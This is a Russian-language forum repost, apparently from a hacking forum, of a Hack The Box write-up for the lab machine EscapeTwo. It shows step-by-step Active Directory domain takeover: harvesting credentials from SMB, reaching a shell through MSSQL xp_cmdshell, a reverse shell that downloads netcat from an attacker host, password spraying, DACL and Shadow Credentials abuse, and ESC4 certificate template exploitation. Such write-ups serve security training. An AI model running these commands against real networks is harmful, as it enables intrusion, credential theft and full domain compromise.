• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Захватываем домен техникой ESC4 ADCS

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,178
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
Сегодня я продемонстрирую повышение привилегий в сети на основе Windows через эксплуатацию цепочки разрешений и уязвимости ESC4 в службе сертификации Active Directory. Сессию на хосте мы получим через Microsoft SQL, а учетные данные для продвижения найдем в файлах с настройками.
Наша конечная цель — получение прав суперпользователя на машине EscapeTwo с учебной площадки Для просмотра ссылки Войди или Зарегистрируйся. Уровень задания — легкий.

warning​

Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.51 escapetwo.htb
На этот раз, помимо IP-адреса машины, нам предоставляют учетные данные с правами пользователя домена.

Для просмотра ссылки Войди или Зарегистрируйся
Первым делом запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Результат работы скрипта
Сканер нашел 13 открытых портов:

  • 88 — Kerberos;
  • 135 — служба удаленного вызова процедур (Microsoft RPC);
  • 139 — служба сеансов NetBIOS, NetLogon;
  • 389 — LDAP;
  • 445 — SMB;
  • 464 — служба смены пароля Kerberos;
  • 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
  • 636 — LDAP с шифрованием SSL или TLS;
  • 1433 — Microsoft SQL;
  • 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
  • 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
  • 5985 — служба удаленного управления WinRM;
  • 9389 — веб‑службы AD DS.
Валидируем учетные данные с помощью утилиты Для просмотра ссылки Войди или Зарегистрируйся.

nxc smb 10.10.11.51 -u rose -p KxEPkKe6R8su
Проверка учетных данных
Проверка учетных данных
Учетные данные верны, а значит, начнем собирать информацию из домена.


Точка входа​

Первым делом с помощью NetExec получим список пользователей (параметр --users). Иногда в описании учетных записей можно найти полезную информацию.

nxc ldap 10.10.11.51 -u rose -p KxEPkKe6R8su --users
Список пользователей
Список пользователей
Теперь проверим общие SMB-ресурсы (параметр --shares).

nxc smb 10.10.11.51 -u rose -p KxEPkKe6R8su --shares
Список общих каталогов
Список общих каталогов
Для чтения доступен недефолтный каталог Accounting Department. Подключаемся с помощью скрипта Для просмотра ссылки Войди или Зарегистрируйся и проверяем файлы.

smbclient.py 'sequel.htb/rose:KxEPkKe6R8su'@10.10.11.51
Доступные файлы
Доступные файлы

В каталоге два файла XLSX, скачиваем их на свой компьютер. Однако при попытке открыть любую из таблиц получаем ошибку кодировки. Видимо, файлы битые.

Ошибка при открытии файла
Ошибка при открытии файла

Но XLSX — это обычный ZIP, так что можем поменять им расширение и распаковать архиватором. А потом в распакованных файлах поищем строки вроде secret, pass, login.

Результат поиска подстрок
Результат поиска подстрок

В папке accounts есть какие‑то пароли, поэтому открываем XML-файл accounts/xl/sharedStrings.xml через браузер и выписываем учетные данные.

Содержимое файла sharedStrings.xml
Содержимое файла sharedStrings.xml

Среди найденных учеток есть sa — логин администратора Microsoft SQL. Именно эту СУБД мы видели при сканировании портов.


Точка опоры​

Проверяем доступ к Microsoft SQL с помощью NetExec.

nxc mssql 10.10.11.51 -u sa -p 'MSSQLP@ssw0rd!' --local-auth
Проверка учетных данных
Проверка учетных данных

У нас есть доступ от имени администратора базы данных, а значит, мы можем получить сессию на хосте. Подключаемся к СУБД с помощью mssqlclient, входящего в Impacket, активируем процедуру enable_xp_cmdshell и для теста выполняем команду whoami.

Код:
mssqlclient.py 'squel.htb/sa:MSSQLP@ssw0rd!'@10.10.11.51

enable_xp_cmdshell
xp_cmdshell whoami

Результат выполнения команды
Результат выполнения команды
Пробросим реверс‑шелл. Для этого на своей машине запускаем листенер:

rlwrap nc -nlvp 4321
На удаленном хосте сначала скачиваем netcat, а затем подключаемся с его помощью.

Код:
xp_cmdshell curl http://10.10.16.63:8000/nc64.exe -o C:\Windows\Tasks\nc.exe
xp_cmdshell C:\Windows\Tasks\nc.exe 10.10.16.63 4321 -e cmd.exe

Выполнение реверс-шелла
Выполнение реверс‑шелла

В итоге получаем сессию пользователя sql¬_svc.

Сессия пользователя sql¬_svc
Сессия пользователя sql¬_svc

Продвижение​

На диске С находим каталог с установщиком Microsoft SQL Server 2019. В каталоге C:\SQL2019\ExpressAdv_ENU есть конфиг sql-Configuration.INI, нужный для развертывания службы.

Содержимое каталога ExpressAdv_ENU
Содержимое каталога ExpressAdv_ENU

В файле указаны учетные данные sql_svc для запуска службы.

Содержимое файла sql-Configuration.INI
Содержимое файла sql-Configuration.INI

Так как пользователи частенько задают одинаковые пароли на разных учетках, проспреим найденный пароль.

nxc smb 10.10.11.51 -u users.txt -p WqSZAF6CysDQbGb3 --continue-on-success
Подбор логинов к паролю
Подбор логинов к паролю

Он подходит еще к одной учетной записи — ryan. Проверим, есть ли у пользователя возможность получить сессию через WinRM.

nxc winrm 10.10.11.51 -u ryan -p WqSZAF6CysDQbGb3
Проверка учетных данных
Проверка учетных данных

Мы можем подключаться к WinRM. Получаем сессию через Для просмотра ссылки Войди или Зарегистрируйся и читаем первый флаг.

evil-winrm -i 10.10.11.51 -u ryan -p WqSZAF6CysDQbGb3
Флаг пользователя
Флаг пользователя

Локальное повышение привилегий​

Ничего нового мы не нашли, поэтому соберем базу данных BloodHound.

Справка: BloodHound​

Утилита Для просмотра ссылки Войди или Зарегистрируйся использует теорию графов для выявления скрытых и зачастую непреднамеренных взаимосвязей в среде Active Directory. Ее можно использовать, чтобы легко идентифицировать очень сложные пути атаки. Помимо самой утилиты, которая позволяет просматривать граф, существует часть, загружаемая на удаленный хост для сбора информации. Она бывает в версиях для Windows — на PowerShell или C# — и для Linux — на Python.
Соберем базу на удаленном хосте при помощи версии на C# — SharpHound.

SharpHound.exe -c All --domaincontroller 10.10.11.51 --ldapusername ryan --ldappassword WqSZAF6CysDQbGb3 -d sequel.htb
Сбор данных BloodHound
Сбор данных BloodHound

Загружаем собранную базу в сам BloodHound и строим граф от имеющегося у нас пользователя ryan.

Граф BloodHound
Граф BloodHound

У нас есть путь компрометации домена, пройдемся по нему. Пользователь ryan имеет право WriteOwner на учетную запись ca_svc. Это право позволяет установить владельца объекта. Установим ryan в качестве владельца ca_svc с помощью утилиты Для просмотра ссылки Войди или Зарегистрируйся.

bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p WqSZAF6CysDQbGb3 set owner CA_SVC ryan
Назначение владельца объекта
Назначение владельца объекта

Владелец объекта может назначать права на этот объект. Установим себе полные права на объект с помощью скрипта Для просмотра ссылки Войди или Зарегистрируйся.

dacledit.py -action 'write' -rights 'FullControl' -principal 'ryan' -target 'ca_svc' 'sequel.htb/ryan:WqSZAF6CysDQbGb3' 2>/dev/null
Изменение прав
Изменение прав.

Теперь, когда мы имеем полный доступ к объекту учетной записи ca_svc, воспользуемся техникой Shadow Credentials. Она позволяет атакующему завладеть учетной записью пользователя или компьютера, если получится изменить атрибут msDS-KeyCredentialLink целевого объекта и добавить к нему альтернативные учетные данные, такие как сертификат. Затем по сертификату мы получим его билет TGT, из которого извлечем NTLM-хеш пароля пользователя. Это все происходит автоматически в команде certipy shadow. Но предварительно синхронизируем время с сервером.

Код:
sudo timedatectl set-ntp false
sudo ntpdate -s 10.10.11.51
certipy shadow auto -u 'ryan@sequel.htb' -p 'WqSZAF6CysDQbGb3' -account 'ca_svc' -dc-ip 10.10.11.51

Эксплуатация Shadow Credentials
Эксплуатация Shadow Credentials.

Теперь у нас есть учетные данные ca_svc и мы можем перейти к эксплуатации уязвимости ESC4. Она заключается в том, что атакующий может изменять свойства шаблона сертификата. Например, мы можем изменить параметры сертификата так, чтобы он был уязвим к ESC1 — когда шаблон сертификата разрешает проверку подлинности клиента и дает запрашивающему указать произвольное альтернативное имя субъекта (SAN).

Это приводит к тому, что мы можем пройти аутентификацию от имени привилегированного пользователя, включая администратора домена. Но сперва узнаем, на какой шаблон у нас есть права.

Граф BloodHound
Граф BloodHound.

Пользователь ca_svc входит в группу CERT PUBLISHER, которая имеет право GenericAll на шаблон сертификата DunderMifflinAuthentication. Модифицируем этот шаблон, а затем запросим сертификат на имя пользователя Administrator.

certipy template -u '[EMAIL]ca_svc@sequel.htb[/EMAIL]' -hashes :3b181b914e7a9d5508ea1e20bc2b7fce -dc-ip 10.10.11.51 -template DunderMifflinAuthentication
Модификация сертификата
Модификация сертификата.

При запросе сертификата получим ошибку, так как DNS недоступен. Поэтому развернем свой DNS-сервер Для просмотра ссылки Войди или Зарегистрируйся. Все необходимые DNS-записи передаем через файл sequel_dns.txt.

Код:
[A]
*.sequel.htb=10.10.11.51
[SRV]
_ldap._tcp.pdc._msdcs.sequel.htb=0 5 389 sequel.htb
_ldap._tcp.gc._msdcs.sequel.htb=0 5 389 sequel.htb
_kerberos._tcp.dc._msdcs.sequel.htb=0 5 88 sequel.htb
python3 dnschef.py --file sequel_dns.txt

После запуска DNS-сервера обновляем запись в файле /etc/hosts.

10.10.11.51 escapetwo.htb DC01.sequel.htb sequel.htb DC01 sequel-DC01-CA sequel-DC01-CA.sequel.htb
Теперь повторно запрашиваем сертификат. В качестве NS-сервера указываем локальный хост.

certipy req -u '[EMAIL]ca_svc@sequel.htb[/EMAIL]' -hashes :3b181b914e7a9d5508ea1e20bc2b7fce -ca sequel-DC01-CA -template DunderMifflinAuthentication -upn [EMAIL]Administrator@sequel.htb[/EMAIL] -target sequel.htb -ns 127.0.0.1
Для просмотра ссылки Войди или Зарегистрируйся
Теперь применяем технику UnPAC the hash. По сертификату получаем TGT пользователя, а из него извлекаем NTLM-хеш пароля учетной записи Administrator. В Certipy все действия автоматизированы.

certipy auth -pfx administrator.pfx -dc-ip 10.10.11.51
Учетные данные пользователя
Учетные данные пользователя
Осталось получить сессию через Evil-WinRM и прочитать последний флаг.

evil-winrm -i 10.10.11.51 -u administrator -H 7a8d4e04986afa8ed4060f75e5a0b3ff
Флаг рута
Флаг рута

Машина захвачена!
 
Activity
So far there's no one here
Сверху Снизу